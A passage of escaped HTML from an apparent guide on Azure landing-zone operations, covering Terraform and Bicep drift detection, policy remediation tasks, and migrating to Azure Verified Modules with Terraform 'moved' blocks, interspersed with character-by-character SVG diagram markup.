y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='260' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='260' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='260' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='260' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='260' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='260' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='260' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='260' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='260' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='260' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='292' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='292' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='292' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='292' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='292' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='292' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='292' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='292' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eRun drift scans weekly using \u003ccode\u003eterraform plan --refresh-only\u003c/code\u003e or Bicep \u003ccode\u003ewhat-if\u003c/code\u003e. A scheduled GitHub Actions workflow that opens a GitHub Issue when drift is found provides the audit trail and visibility needed for incident response.\u003c/p\u003e\n\u003ch2 id=\"2-remediating-drift-without-downtime\"\u003e2. Remediating Drift Without Downtime\u003c/h2\u003e\n\u003cp\u003eWhen drift is detected, you must decide whether to import the manual change into your code or revert the resource to its authorized state.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAccepting the change:\u003c/strong\u003e Use Terraform\u0026rsquo;s \u003ccode\u003eimport\u003c/code\u003e block to bring a portal-made change into your state file.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRejecting the change:\u003c/strong\u003e Update your YAML/Bicep logic to the desired state and re-deploy.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy remediation:\u003c/strong\u003e Use \u003cstrong\u003eRemediation Tasks\u003c/strong\u003e to fix auxiliary resource gaps (like missing logs) without touching the primary resource.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Example: Bulk remediation of diagnostic settings\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz policy remediation create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --name \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;fix-logging-baseline-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003edate +%Y%m%d\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --policy-assignment \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Management/managementGroups/mg-intermediate/providers/Microsoft.Authorization/policyAssignments/deploy-vnet-diagnostic-settings\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --resource-discovery-mode ReEvaluateCompliance \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --resource-type \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Microsoft.Network/virtualNetworks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-the-migration-path-moving-to-azure-verified-modules-avm\"\u003e3. The Migration Path: Moving to Azure Verified Modules (AVM)\u003c/h2\u003e\n\u003cp\u003eIn 2026, the legacy CAF modules are archived. Migration to AVM is a maintenance requirement. A naive migration destroys and recreates resources, but the \u003cstrong\u003eTerraform \u003ccode\u003emoved\u003c/code\u003e block\u003c/strong\u003e allows you to remap the state address without any physical resource impact.\u003c/p\u003e\n\u003ch3 id=\"avm-module-migration-the-moved-block\"\u003eAVM Module Migration (The moved Block)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 712 137\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,32 L 272,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,32 L 680,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,48 L 312,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,48 L 448,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,80 L 272,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,80 L 680,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,32 L 48,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,48 L 288,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,48 L 456,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,88 L 464,104' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 696,48 L 696,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,40 L 456,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 456,64 L 456,72' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,88 L 464,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='456.000000,48.000000 444.000000,42.400002 444.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 448.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 272,32 A 16,16 0 0,1 288,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,64 A 16,16 0 0,1 272,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='52' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='20' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='20' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext 